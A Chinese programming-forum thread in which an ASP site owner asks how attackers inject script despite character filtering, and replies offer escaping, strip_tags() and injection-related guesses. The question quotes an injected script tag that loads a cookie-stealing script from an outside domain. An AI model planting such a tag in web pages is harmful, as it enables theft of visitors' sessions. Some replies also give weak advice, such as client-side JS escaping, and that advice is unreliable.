100分求高手稍微指点一下

我的网站form表单执行过滤的字符串有（网站程序是asp的）：<>&" 空格但有好多的黑客可以插入类似这样的代码到我的网站：
<script src="http://3dyuce.org/cookie.js"></script>
请问他们是如何做到的，我应当如何屏蔽？谢谢

解决方案 »

  1.   

    asp 怎么跑到 php 来问了
      

  2.   

    可以试试提交时用JS转义成HTML字符，如: 空格-"'&nbsp;"
      

  3.   

    如果你转了，应该不是从你的form提交上来的。
      

  4.   

    JS转译一下吧可能是FORM提交的
      

  5.   

    一般是被SQL注入了
    或者是服务器有漏洞，被挂马后干的
      

  6.   

    用strip_tags()函数过滤html代码，并且可以规定输入框的maxlength大小
      

  7.   

    第一：所有<>之类的字符保存时转义成实体
    第二：有限度度允许用户使用编辑器
    或后台过滤src之类的信息